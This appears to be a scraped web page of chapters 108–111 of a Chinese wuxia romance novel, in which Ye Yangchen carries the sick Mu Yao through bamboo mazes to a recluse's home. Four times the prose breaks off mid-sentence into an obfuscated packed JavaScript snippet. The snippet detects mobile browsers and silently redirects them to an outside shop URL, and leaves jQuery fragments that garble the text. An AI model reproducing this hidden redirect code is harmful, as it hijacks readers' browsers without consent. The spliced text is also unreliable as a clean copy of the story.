路上,慕瑶没说上几句话,又趴在叶阳晨的背上睡着了。她是一会儿醒来,一会儿又睡去,整个人都是懒懒的,没什么精神。 叶阳晨背着慕瑶走了两个时辰,始终没有看到什么草药。这时,慕瑶再次缓缓睁开眼,低声问道:“阳晨,我记得这个地方刚刚我们走过,怎么又绕回到这个地方了?” 叶阳晨郁闷道:“是啊,我也发现不对,估计我们是入了迷阵了。”叶阳晨是古野的徒弟,自然不会连这点识别迷阵的眼力都没有。可这个阵法有些奇怪,他几次用不同方法试图破解这个阵,都没有奏效。 林慕瑶打起几分精神,仔细看了看四周,然后徐徐说道:“这个竹林好像用了“卍”字阵,你用卍字的笔画试着走走。” 经慕瑶这么一说,叶阳晨才反应过来了。同是古野的徒弟,阵法星象这些,叶阳晨学得不如慕瑶扎实。慕瑶之所以在这方面能力出众,一是源于她的勤奋,二是她本来就很喜欢这些稀奇古怪的本领,所以当初古野授艺时,慕瑶学得特别认真。 果然,按照慕瑶说的,他们顺利地走出了这片竹林阵。 出了竹林阵后,叶阳晨见前方不远处有座长长的石桥。不过这座石桥的桥梁是经年累月天然形成的,只是人工稍稍修整了一下。桥下就是潺潺溪流,清澈见底。走过了桥,不远处又是一片茂密的竹林,竹径通幽,景致盎然。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281048|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 穿过这条窄而深的林间小路,是竹林种成的迷宫,如果走不出去,同样会绕回到竹林小径的出口处。叶阳晨猜测,无论是“卍”字阵,还是竹林迷宫,都是住在这里的隐客为了不让外人闯入而精心设置的,也就是说,通过了这个迷宫,应该有人居住。这不禁令叶阳晨喜出望外,他觉得世外高人的住处应该会有灵药,这样的话,慕瑶的病也就可以治好了。 这个迷宫比那个“卍”字阵简单些,大约花了一炷香的功夫,叶阳晨就背着慕瑶轻而易举地走了出去。当然了,在叶阳晨这里简单的事,换做是他人,也未必简单。 果然如叶阳晨所料,走出迷宫的那一霎那,他望见远处有个竹屋,这令他心中一喜。慕瑶依旧昏睡着,对这一切完全不知。 叶阳晨走了过去,见这座宅院被几丈宽的溪水环绕着,且只有宅院正门处的溪水中铺着踏步石,他踩着踏步石来到竹院的门前。 院子是由竹子围出来,竹子被修葺得整整齐齐。叶阳晨抬头一看,宅院大门上方的匾额有三个绿漆大字——“翠烟阁”。 叶阳晨收回目光,喊了一声:“主人在家吗?”他稍等了片刻,里面并没有任何动静传来。 叶阳晨犹豫着轻轻推开院门,不请自入别人家,这似乎不太礼貌,但慕瑶现在病着,既来之则安之,他也顾虑不了太多了。 叶阳晨刚迈进门,便听见一个叫声:“主人,有人来了。主人,有人来了。” 这吓了叶阳晨一跳,他放眼望去,原来是个金黄锥尾鹦鹉在叫。叶阳晨看了一下,这是个第一进院落,他的面前还有一个二门。 叶阳晨背着慕瑶来到二门前,见二门处有一副对联,上联是:品茗知雅趣,下联是:留香道闲情,横批为:“和静怡真”。看到了这副对联,叶阳晨更加坚信此处非凡俗之地。 叶阳晨出于礼貌又喊了一声:“请问这里主人在家吗?吾等乃过路之人,可否讨一杯水喝?”依旧没有回音,叶阳晨心想:“难道是主人出门去了?既然来了,一不做二不休,带着慕瑶进去休息一下。” 于是,叶阳晨推开第二道院门,见正院宽敞开阔,脚下的石径路由二门前一直铺至正屋门前,铺路的石头被打磨得光亮平坦。 石径路的两边各有一大片草地,令叶阳晨惊讶的是,他看到左侧草地上躺着两头熊。与平常见到的那种凶神恶煞的熊不同,这两个小家伙长得圆乎乎的,毛色黑白相间,黑黑的眼圈中嵌着闪闪发亮的眼睛,这时它们两个正滚在地上吃着竹笋,看上去甚是可爱呆萌。 叶阳晨以前从没见过这种动物,很是惊喜,而且他相信如果慕瑶醒来看到它们也一定会很喜欢。 左右两侧草地的尽头依旧种着一排排翠竹,给人一种文雅清秀之感。叶阳晨认得那些是泪竹和米竹,一看就是十分名贵的品种。 叶阳晨正看着出神,突然听到有个女子的轻缓声音传来:“你们是何人?为何不请而入?” 那声音冷淡而平和,叶阳晨心里一惊,原来主人是在家的。 109. 第一百九章 叶阳晨这才循着声音望去,不知什么时候,堂屋前已站着一位妙龄女子,她身上还背着一个精致小竹篓。叶阳晨仔细打量,女子肤色白皙亮眼,双眸清波婉转。她身着一袭绿色薄纱“石榴裙”,裙子中浅绿、嫩绿、翠绿的纱绸相间,趁得她温静如兰。女孩的乌发没有盘起,只用青绿色的丝带束着,而她头顶上插着的绿玉簪子更是完美凸显出清雅高华的气质。 叶阳晨微微躬身:“姑娘莫怪,实在是冒昧打扰了。只因遇到难处,这才冒然前来。” 刚刚女孩并没有看清叶阳晨的脸,这会儿细细端详,被叶阳晨的英拔神采微微拨动了心弦,甚至不由得想到一句话“君子如珩,羽衣昱耀”。 女子依旧神色清淡,“你们怎么进来这里的?”话里听不出喜怒,但总归不太热情。 “算是误打误撞吧。” 女子的眼眸中有些波动,“我这个地方,即使是江湖高手想进来也是不容易的,你又怎么可能误闯进来?” 叶阳晨也觉得这个谎话编得不太高明,毕竟他是破了“卍”字阵和竹迷宫才进到这里来的,可被女孩这么一问,叶阳晨一时又不知怎么自圆其说。 见叶阳晨沉默,绿衣女子便没有再揪着这一点追问,转而柔声问道:“你背着的女孩是你什么人?” 这个问题也一时难住了叶阳晨,他很想理直气壮说背着的是自己的妻子,或者至少说是自己的爱人,可令他犯难的是,不知这样说是否真符合慕瑶的意愿。慕瑶现在生病昏迷着,如果她醒来不喜欢自己这么对外人讲那可怎么办?纠结之下,叶阳晨只好说道:“她是我表妹。” 说这句话时,叶阳晨不太敢直视面前的女孩,倒不是全因为自己说了谎话,不知为什么,他对这个绿衣女子总是含着几分畏敬。叶阳晨与这个女子说话时,总会感觉她清冷中带着一抹温和,柔善中又夹杂着几分孤傲,令人不敢有一丝一毫的轻慢。 见慕瑶昏迷着,绿衣女子追问着:“你刚刚说的难处就是指的你妹妹?” “是的,她病了。” “你为何会带着妹妹来这深山密林之中?” 叶阳晨也不擅长说谎,想到这次慕瑶为拒婚出家,他直接说道:“家里给我表妹说了人家,她不满意这桩婚事,故而求我这个哥哥带她出来避一避。” 叶阳晨心里有些忐忑,心想这女子的问题怎么这么多,如果她再问下去,他还真招架不住。 绿衣女孩并非对两人的身世背景感兴趣,也不喜欢八卦别人的私事,只是叶阳晨他们能闯过自己设置的迷阵,就证明这两人不是等闲之辈。她怕叶阳晨是歹人,或是来这里有其他不可告人的目的,这样的想法下,她总要多盘问几句的,也总要多一点防备心的。 两人短暂沉默后,绿衣女子语气淡淡道:“罢了,你背着妹妹先进来吧!” “诶!”叶阳晨欢喜答应着。 走进客厅,叶阳晨打量着屋里的陈设和装饰,屋内四周的墙壁上无不挂着画有竹子的画,有墨竹,有绿竹,姿态各异,皆有流畅之美。 最引人注意的,还是屋子的中堂挂着一幅人物画像,画中是一位相貌端秀的女子。虽然这画是画在竹简上的,但仍惟妙惟肖。 屋内的博古架上都是用竹子编的小摆件,鸟儿、蝴蝶、蜻蜓,还有小兔子,小老虎,置身其中,令人感觉来到竹子装点的世界。这大概是叶阳晨见过的最特别,最与众不同的厅堂了。 穿过厅堂,三人来到后院一间偏屋,屋内陈设简单,但依旧处处透着雅致。 绿衣女子说道:“你把妹妹放在床上吧!就让她先住在这里。” 叶阳晨照做,他正要说话,绿衣女子已搬了一把竹椅,坐在了慕瑶的身侧,然后不由分说地摸着慕瑶右手的脉搏。 叶阳晨有点不耐烦,在一旁偷偷翻着白眼,因为摸脉的事他自己就能做,他主要是想让这位姑娘给些草药,他熬好后喂给慕瑶喝。 叶阳晨几次都想打断女孩,但见女孩摸脉时的表情格外认真,就不好意思说什么。但绿衣姑娘好像知道叶阳晨在想什么似的,边摸着脉,边平静解释着:“你即使担心你妹妹的病情,也不能太心急了。竹海中有瘴气,湿气也重,所以得了病不能以一般的风寒发热来治,我需要确定病症后对症下药,否则会延误你妹妹的病情。” 叶阳晨懂得医理,自然清楚自己刚刚是考虑不周了。他错怪了人家,于是感激道:“谢谢姑娘了。” 绿衣姑娘说话时总是很平淡,既不热情,也不冷漠,更让人看不出她的喜怒。须臾,绿衣姑娘站起身,“你与我过来取些药,然后熬好后喂你妹妹喝下,两到三日她便可痊愈了。” “好的,谢谢。”说着,叶阳晨跟着这位姑娘走出了房间,然后一同来到一间耳房。一走进去,叶阳晨惊讶,里面有一整面墙的七星斗柜,柜里装满了药材。 见那姑娘熟练地抓着药,叶阳晨还是忍不住问道:“姑娘深通岐黄之术?” 女子并没有回头看叶阳晨,而是仍专心地抓着她的药,同时随口说道:“精通是不敢当的,我只是粗通医理罢了。毕竟我住的这个地方人烟稀少,方圆几百里莫说是郎中,就是一两户住家都没有,遇上个小病不会医怎么行呢?” 叶阳晨随口问道:“敢问姑娘芳名,我也好将来报答一二。”叶阳晨觉得人家女孩毕竟帮了他,他若是连人家叫什么都不知道,那也太说不过去了。 “公子言重了,你们兄妹既然‘误’闯进我家中,也算是缘分了。你妹妹既然病了,我岂有不救之理?至于我的闺名实在不足为道。” 叶阳晨见这女子不愿多说,也便没有强求。他有点好奇这女子到底是谁?又有何经历才会藏在这深山密林中?只是两人初识,交浅言深是不合适的。 少顷,女子温言道:“好了,药抓好了,我这就带你去厨房,你可以为妹妹煎药了。”女孩把药简单包好后递给叶阳晨。 叶阳晨接过药,诚挚感谢着。 两人一前一后出了这间“药房”。 绿衣姑娘给叶阳晨指了指厨房的方向,便要转身离开,走了两步,她又回过头说道:“对了,我忘了说了,我的家从来就没有留宿过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281049|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男子,所以你熬完药喂了妹妹吃过后,就只能退出二门以外。夜里无论发生什么事,你都不能进第二道院门。” “好的。”叶阳晨答应得很痛快,语气中没有任何犹豫,这反倒让女孩微微一怔。 叶阳晨不难理解女孩的想法,这个翠烟阁里连个丫鬟都没见到,想必只有这个女子一人居于此处,女孩当然更不希望有陌生男子留宿自己家中。 当然了,叶阳晨也确实不在意这些细节的,毕竟从前在泽清山,夏夜里他也经常睡在外边,树上、屋顶、水边都是他喜欢睡的地方,有时还有清扬跟他作伴。叶阳晨喜欢亲近大自然,喜欢待在户外。而且叶阳晨此时最关注的是慕瑶身体能否尽快康复,至于其他事在他眼里都是微不足道的。 女子连个“再见”都没有说,就盈盈莲步地走开了。女孩寂寥的背影,总会让人生出一抹心疼和怜悯的感觉。 那天,直到叶阳晨喂慕瑶喝下药,慕瑶都是半昏迷的状态。 本来早上从山洞出发的时候,慕瑶已经不发热了,可是到了傍晚又有了点反复,好在只是低烧,脉象也比较平稳,叶阳晨稍稍放心了点。 天刚刚黑下来,叶阳晨就退出了这座竹园的内宅,只在一门和二门之间的外院处躺着。当叶阳晨走出去轻轻掩上二门的时候,绿衣女子是看在眼里的,她对叶阳晨这种讲规矩重信诺的君子行为颇有几分欣赏。 竹园的夜晚静寂无声,在这个世外桃源一般的地方,叶阳晨的心也得到一份难得的安宁。他枕着自己的胳膊,望着头顶的星空,它是那般黑蓝深邃,看着看着,叶阳晨睡着了。 也不知睡了多久,雨点打在叶阳晨的脸上,他惊着醒来。叶阳晨有点懒得动弹,只是迟疑了片刻,雨点便密密斜斜地落下来,他不得不起身挪了个地方。这个院子里并没有可以避雨的地方,只有大门的门下还可以少淋一些雨。 叶阳晨走过去,靠坐在翠烟阁的大门门下,双膝蜷缩起来,准备继续睡。他这样看上去有些狼狈,只是他觉得无所谓。内心精神世界强大的人,往往对物质方面的享受就不那么在意了,叶阳晨就是这样的人。所以饶是淋着雨,他依然也能睡得安然,颇有点“夜阑卧听风吹雨”的味道。 叶阳晨感觉自己刚睡着,就有人拍了拍自己的臂膀,他还以为自己是在做梦,索性换了个姿势继续睡。可仅过了片刻,叶阳晨仍感觉有人扯动着自己的衣服。叶阳晨这才不情愿地迷迷糊糊睁开眼,见白天那个身穿绿衣的女子打着竹骨绸伞站在自己身前。他一惊,连忙坐直了身子,“姑娘,怎么是你?慕瑶……呃,是不是我妹妹有什么事?”这么大的雨天,这个女主人出来找自己,叶阳晨的第一反应就是慕瑶出事了。 绿意女孩忙不迭摆了摆手,“你别担心,我刚替你去看过她,你妹妹没有什么事的,她的烧已经退了。” 叶阳晨长舒一口气,随之不解道:“那姑娘...你出来是寻我有什么其他事吗?” 绿衣女孩扭过半边脸去,抿了抿唇,才嗫嚅着说道:“今晚的雨实在太大了些,你还是...随我进来吧?” 110. 第一百十章 叶阳晨立即摆摆手,“姑娘,不妨事,我是个粗人,席地而眠是常有的事,都习惯了。而且我一个男的,进去多有不便。你不用管我的,你进去睡就好。” 叶阳晨清楚记得这位姑娘白天讲过,她的家从不留男子过夜,借宿也是不行的。 女孩撑着伞转身,柔语轻声道:“还是随我进来吧!你妹妹的病还未好,如果你再病了可怎么使得?”女孩说这些话时有点羞赧,她的脸都是热的。 白天,绿衣女子说不让叶阳晨进二门确实是心里话,只是她没料到会发生下暴雨的突发状况,如果她还是熟视无睹,倒显得她很不近人情。可如果让一个男子住进她的家,她确实是要做一番心里斗争的。刚刚在屋中,听着外面越来越密的雨声,女子也是纠结了许久才出来叫叶阳晨的,她甚至有些弄不清自己为何会心软。 女孩走出来,看见叶阳晨即使浑身淋着雨也没有敲门打扰自己,而是仍蜷缩在门下时,她竟有些不忍。叶阳晨这样的君子所为令她心安,刚刚她纠结着的心情在这一刻释然了。 叶阳晨见女子如此有诚意,他也不好托大,于是跟着女孩走进二门。两人穿过厅堂来到后院,叶阳晨跟着女孩来到正屋左侧的一间屋子。女孩先推门而入,然后驻足温声道:“你先进来,等我去点上灯”。 少时,屋里被灯照亮,叶阳晨才发现这是一间书房。书房面积很大,甚至超过许多卧房的规格。书房的墙上挂着诸多画作和书法条幅,有几幅作品叶阳晨也认得,是名家真迹。微微令叶阳晨感到讶异的是,唯独书房的东面墙上光秃秃的,没有挂任何东西。不仅如此,但那整整一面墙上都涂着星空的蓝色。叶阳晨有点想问这是怎么回事,可又怕人家觉得多嘴,于是忍住了。 书房居中的铁力木书案上堆着许多竹简书,叶阳晨有些难以置信,为何如今还要人看这种竹简书。但从竹简的外观来看,像是珍本古籍。书房的角落里有一张罗汉床,上面铺着水竹木条编织的席子。 叶阳晨正看得出神,女孩温声道:“这是我的书房,就收留你住下,不过这屋里的任何东西你都不能碰,我这个人不喜欢别人碰我的东西。而且这些东西都是我的亲人留下的,弄坏了可是不行的。” 叶阳晨满口答应:“你放心吧,我不会乱碰的。” “那就早点睡吧。”说完,女子转身轻步地走了出去。 外边,雨点打在竹叶上,沙沙作响,想来雨下得更密了。叶阳晨也不耽搁,倒头便睡。 慕瑶算是睡了整整一天一夜,翌日,她很早便醒来了。 看着周围陌生的一切,林慕瑶有些惶然。她想试着坐起来,但身体像棉花一样,软得动弹不得。慕瑶正犹豫着要不要叫人,这时屋门被推开了,她还以为是叶阳晨,可仔细听了听脚步声,就知道那不是自己的心上人。 慕瑶看过去,这时绿衣女子已经走到了她的床前,手里端着一碗稀饭。 慕瑶微微一怔的功夫,绿衣女子问道:“你醒了?” 慕瑶撑着身体坐起来,“这里...是哪儿?” 绿衣女子先把粥碗放在一旁,自己则坐在榻边,不由分说为慕瑶把起脉来。 慕瑶可能是被面前女子的清丽脱俗吸引,也可能是看女子面相觉得她是个好人,总之慕瑶没有拒绝女子为自己诊脉。 女子诊了片刻后说道:“好多了,再吃两副药就会痊愈了。” 听女子说这话,慕瑶就知道自己昨日吃了她配的药。慕瑶轻声感谢道:“多谢姑娘搭救。” 女子只是浅浅露出随和的表情,“不妨事的,昨日你的哥哥把你背来时,你病得还真的挺严重的。” “我哥哥?” “是啊,昨天给他急坏了,一会儿他知道你康复了也一定很开心。” 慕瑶马上反应过来女孩说的“哥哥”就是叶阳晨,她猜测叶阳晨是迁就自己才那么说的,或者干脆就是叶阳晨随口说的,可是不管叶阳晨出于什么原因那样说,慕瑶心里还是有些不舒服,她觉得事到如今,叶阳晨已不必对外避讳两人的关系了。 不过既然叶阳晨那样说了,慕瑶也只好顺势问道:“那我哥哥他人呢?” “他可能还在休息吧,一会儿大概就会跑来看你了。” “哦。” 就如慕瑶欣赏女子的美丽,绿衣女子看着慕瑶的冰肌玉容,心里也不由得感叹:“这兄妹两人皆相貌绝俗,又能闯过自己设的阵法,一定非等闲之辈。” 绿衣女子站起身,把那碗粥端过来,“你昨天都没吃东西,肚子里一定空空的,喝点粥暖一暖,会舒服许多。” “怎敢劳烦姑娘,我自己来就好。”女子端粥进来时,慕瑶就闻到了粥的香味,令她瞬间有了食欲,她也不知人家在粥里放了什么佐料,会让这碗粥这么香。 正在这时,门再次被打开,见进来的是叶阳晨,绿衣女子站起来道:“你妹妹的身子好多了,我早上熬了些粥,你既然来了,就你来喂着妹妹喝吧!” 叶阳晨恭敬道:“太麻烦了,非常感谢。” 绿衣女子只是轻轻摇了摇头,就掩门出去了。 屋里只有叶阳晨与林慕瑶两个人,慕瑶含情脉脉地看着爱人。 叶阳晨用手背贴了贴慕瑶的额头,“嗯,果然不烫了,太好了,你昨天可吓死我了。” 慕瑶没有接叶阳晨的话,而是柔声问道:“你跟别人说的是我哥哥?” “是啊!我怕你不想让别人知道我们的关系,怕你会在意别人的闲言碎语,所以就说你是我表妹。怎么样?我聪明吧?” “以后不准你说我是你妹妹。” “那说你是我姐姐?你看着也不像比我大啊。”叶阳晨是真没明白慕瑶的意思。 林慕瑶微微努起嘴,“你不要贫嘴,我是说以后不准你那么跟别人撒谎着介绍我和你的关系,你就要实话实说。我不在意什么闲言碎语,以后你就说我是你的...妻子。”妻子两个字她差点说不出口,她还是有一点点不习惯这种身份的改变。 叶阳晨咧嘴一笑,这才明白慕瑶介意的是什么。 慕瑶微微噘嘴,“你笑什么?” “我在笑我们瑶儿现在也学会宣誓主权了?” 慕瑶心虚辩解道:“才不是。我就只是希望你实话实说而已。” “好了,你让我怎么说我就怎么说,这总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13289528|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以了吧?” 叶阳晨让慕瑶靠在自己怀里,然后他端起碗,舀了一勺粥轻轻吹了吹,然后将竹勺子递到慕瑶嘴边。 慕瑶吃了一口,突然反应过来,“你这样抱着我,万一一会儿那个女孩进来看到怎么办?” “看到就看到呗,你刚才还不教训说让我承认是你夫君?怎么这么一会儿就又害怕上了?你这女人也太善变了?” “我说不过你,你总是有理的。” “好了,不要想东想西的了。来,张嘴。”叶阳晨又把一勺粥送到慕瑶的嘴边。 “阳晨,这粥真的好好喝哦。” “那你就多吃点,不够吃的话我再向那个姑娘要,我想她应该不至于只做了这么一碗的。” 虽然粥很得味,但是慕瑶大病初愈,还是没什么胃口。只喝了半碗,她就说喝不下了。当然了,慕瑶平日里的饭量也不大。 叶阳晨商量道:“再吃一点好不好?” 慕瑶用手背挡住嘴,“我真的吃不下了嘛!” “乖。再吃点,那样才有体力。” “我不要,我真的不想吃了。” 在叶阳晨眼中,慕瑶哪哪都好,就是稍稍偏瘦了些。每次他环腰抱着慕瑶的时候,总说慕瑶是纤腰束素,也总不忘批评慕瑶不好好吃饭,所以才不长肉。只是这种瘦还没有到不不健康的程度,叶阳晨一般也就不强迫她吃东西了。、 慕瑶瘦是瘦了待你,不过叶阳晨认为慕瑶的身材还是不错的,尤其是雪峰春盎酥融,蜜桃浑圆翘润,他几次见过,只是还没得到。 慕瑶怎么都不肯再吃,叶阳晨无奈地摇了摇头,把碗里剩下的粥自己喝了。他这才发现,慕瑶并没有说假话,这个粥确实是他喝过的最好吃的粥。吃这个粥前,叶阳晨一直认为只有肉才能带给他这种愉悦感。 看着叶阳晨吃着自己吃剩的东西,却一点都不嫌弃,慕瑶心里暖洋洋的,她突然问道:“阳晨,刚刚那个姑娘是谁?你说她会不会就是我们要找的水茗无尘呢?” 叶阳晨眉头一挑,“昨日来的时候我还真的随口问了一句,可她不愿意多说。不过是水茗无尘的可能性不大,我小的时候就听大人们讲过水茗无尘,那么水茗无尘应该不会是这么一个小姑娘。” “那我们还是走吧,找到水茗无尘要紧,我们不要在此地耽搁时间。” “走什么走,你这样的身体怎么能动弹?总要等你身体再恢复些的。既来之则安之,你也别心急了,不差这两日了。” 叶阳晨这么说,慕瑶也只有听他的话。 整整上午,叶阳晨都没有再见到那个绿衣姑娘,不知那个女孩去了哪儿。但是这毕竟是在人家做客,叶阳晨也不好随意走动。 过了晌午,慕瑶吃了药后又有些犯困,就在屋子补觉。叶阳晨觉得无聊,就在院子里与那两只小熊玩。他学着小熊的样子,也懒洋洋地在草地上打滚。绿衣女子不小心看见叶阳晨童心未泯,就如大孩子的一面,不禁觉得有趣。 叶阳晨正玩在兴头上,忽然听到二门外有人中气十足地喊着:“心悠...心悠啊,今晚总要下厨给我做几道好菜吧?我可都有一个月没来了。” 111. 第一百十一章 没等叶阳晨细想,来人已经笑眯眯地进了院子,他还单手抱着一个酒坛子。叶阳晨定神望过去,只见那人是个头发花白的老头,他的个子中等,体型肥胖,胳膊粗壮,尤其是大肚子都腆了出来,活像一个弥勒佛。老人家说话时一直眯着眼睛,加之圆脸肥腮的,看上去十分喜庆、和蔼。 听到熟人的声音,绿衣女子从正厅走了出来,站在门口道:“你整日就知道吃喝。” 老人家弯眉眯眼一笑,“活着不吃喝做什么?那活着还有什么乐趣?反过来,人不吃喝怎么活?有一句诗说得好,人生得意须吃喝,这样不饿也不渴。” 听这老头的一番话,叶阳晨觉得此人太有意思了,引得他忍不住噗嗤一笑。 听到了这一声笑,老人这才留意到了坐在草地上的叶阳晨,他没搞清情况,先是一怔,随即开口笑道:“呦,今天家里还有客人啊?那我可是赶巧了。心悠,今晚你恐怕要再多做几道菜了,做少了不够吃啊。” 绿衣女子也不多与老伯说聊,而是转身回屋去了。 叶阳晨这才恭敬解释道:“老伯,我算不上这里的客人,只是路过此地而已。” “诶,相逢何必曾相识,来者皆为客。不过说真的,你小子今晚可有口福了,不是我吹牛啊,我们心悠的厨艺天下无双,保你从来没吃过那么好吃的菜。不过你更有口福的是我的苍筤醉,你喝一杯我的酒,世间的酒在你嘴里一点味都没有了,比水还要寡淡。” 叶阳晨已喝过了那个绿衣女子熬的粥,这会儿又听老人家这样说,他更对女子的厨艺充满期待。不过他从小到大,品鉴名酒无数,他却不信老人家的酒比琼浆玉液还好喝。 晚上,绿衣女子做了八个菜,每一道菜都色彩斑斓,令人垂涎欲滴。老人家在美食面前毫无抵抗力,趁大家不注意的时候,每道菜他已经偷偷尝过了,他不知是不是自己的错觉,他总觉得今天的菜比往日做得更好吃。 一切准备就绪,四人终于围着桌子坐下,叶阳晨看着满桌子的菜,先恭敬说道:“感谢姑娘盛情款待,我们兄妹受宠若惊。” “公子言重了,这没什么。” 老人家接话道:“要我说我们在这儿竹海深处遇见,就是缘分啦,大家不要客气,更不要拘那些俗礼了,否则就辜负今晚的好菜好酒了。” 叶阳晨转而温声问道:“不知老伯尊姓为何?” 老者眉毛笑弯了,“我刚说过不要那么客气,你这么快就忘了,你小子记性还真是差。还有,你说话能不能不要这么文绉绉的,我听着都晕。简单说,我姓九,数字的那个九。” “那就是九老伯......” “只是一个称呼而已,你随便叫。我这个人随意惯了,你只要不断了我的酒,天塌了我都不管。” 九这个姓并不多见,这个老头又那么嗜酒,叶阳晨突然一脸惊愕,“老伯,晚辈冒昧一问,你不会就是‘九酒’前辈吧?” “这里没有前辈,像心悠那个丫头,时常没大没小的,有时还叫我酒葫芦呢!对了,小伙子,你不准跟任何说我在此地,这些年我住在竹海,过着闲云野鹤般的生活,是那样自由自在,不想再有人打扰了。” 叶阳晨之所以如此惊讶,只因这位老人家就是江湖上人称“圣酒仙”的大侠。他年轻时就以酒量惊人名扬天下,一套醉拳更是打得出神入化。只是老人家已隐退江湖多年,没人知道他去了哪里,是死是活,可这并不影响江湖上流传着他的传说。叶阳晨怎么都没想到自己今天有幸在这儿碰上了老人家。 慕瑶显然不知老者的身份,她对江湖上的事也不感兴趣,反倒是觉得老伯口中“心悠”这个名字清新脱俗。慕瑶瞧着绿衣女子,忍不住夸赞道:“心悠?这名字真好听。青青子衿,悠悠我心。” 叶阳晨在一旁笑着附和道:“是很好听。” 既然九老伯都说了自己的名字,心悠便不好再不说出自己的全名,她偷偷瞟了叶阳晨一眼,收回目光后才谦声柔语道:“我姓乐,乐曲的乐,名唤心悠。不过生平还是第一次有人把我的名字用诗经的话解释得那样清新婉约,真是荣幸之至。” 慕瑶跟在叶阳晨身边久了,也就带着些江湖女儿的豪气,她也大大方方地主动介绍自己,“心悠,我姓林,名为慕瑶。” 乐心悠也惺惺相惜轻声道:“投我以木桃,木桃含双木,是为林。报之以琼瑶,爱慕美玉,坚贞美好。” 慕瑶腼腆一笑,“也谢谢心悠为我名字释义。”她的母亲给她讲过,她的名字确实是这么解释的。 九老伯看向叶阳晨,“小伙子,那你怎么称呼啊?” “老伯,我叫叶阳晨,您叫我小晨就好。” 话音一落,乐心悠心里想着:“原来他叫叶阳晨。”她一连在心里念了好几遍这个名字。 如果叶阳晨提父亲叶阳天的名字,或是提起他的几位师父,那么九老伯肯定是知道的。只是老人家不闻江湖事已久,他隐退的时候,叶阳天还没这个儿子呢。 “小晨,你们兄妹准备在此地住多久啊?下一站去哪儿啊?”九老伯追问着。 听到妹妹两个字,慕瑶冲着叶阳晨微微翘起嘴唇,以表示她的不悦和不满。叶阳晨向慕瑶投去一个求救的眼神,那意思是说,既然之前对乐心悠撒了慌,接下来就只有继续以兄妹相称了。 叶阳晨觉得乐心悠真心诚意帮了他们,如果发现他们不够坦诚,这样是不太好的。 叶阳晨对九老伯如实说道:“不瞒老伯,我们这次出来除了家里的原因外,就是想找到水茗无尘大师。”叶阳晨想来想去,还是觉得应该对老伯和心悠坦言相告此行的目的。他住在竹海这几日,已经发现这里寥无人烟的,如果不问问住在这里的人,他觉得自己和慕瑶恐怕很难找到水茗无尘这个人的。或者说,江湖传言可能也有不实,他要问问竹海里是否真有水茗无尘这个人。 只是话音刚落,九老伯和乐心悠的表情皆微微一变。叶阳晨留意到两人惊讶的表情,于是问道:“有什么不妥吗?我是说错了什么话吗?” 乐心悠淡淡问道:“你找这位大师做什么?” 叶阳晨坦言道:“我想找大师求些碧微沧澜。” 九老伯插话问道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306482|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“要那茶做什么用?” “孝敬我的父亲和师父。” 乐心悠没有继续说话,只是她的脸依旧平静无波,反而让叶阳晨的心里有些忐忑。叶阳晨胡乱猜测着:“也不知道他们的反应是因为水茗无尘这个人不能提?还是因为碧微沧澜不能给啊。”直觉上告诉叶阳晨,水茗无尘与乐心悠一定有关系,要么两人就是很亲密的关系,要么她们就是“仇人”,只是叶阳晨不好开口问。 膳厅里突然静得针落可闻,九老伯怕冷场,赶紧给叶阳晨倒了杯酒,岔开话题说道:“来,小晨,尝尝心悠的菜,再品品我的酒,看看我是不是所言非虚?” 叶阳晨也不再纠结水茗无尘的话题,他打着主意改天再找机会问问。叶阳晨拿起筷子,看着每道菜的卖相都那么好,都那么勾食欲,他竟不知道先夹哪道菜才好? 九老伯抿嘴摇头,“小晨,你到底在纠结个啥子?我敢打包票无论哪个菜都会香你一个跟头,最后馋得你在地上打滚。” 叶阳晨还从来没听过这么惊艳的修辞,不由得笑了出来。 九老伯也跟着笑出了声,“你刚才愣在那里,现在又笑。好,我先给你随意介绍一下这些菜,估计很多菜你都不认得。” 九老伯依次用手指着,“这个是龙腾山水涧,那个是虎跃丛林边......我告诉你,宫廷厨子做法都没这么讲究的。” 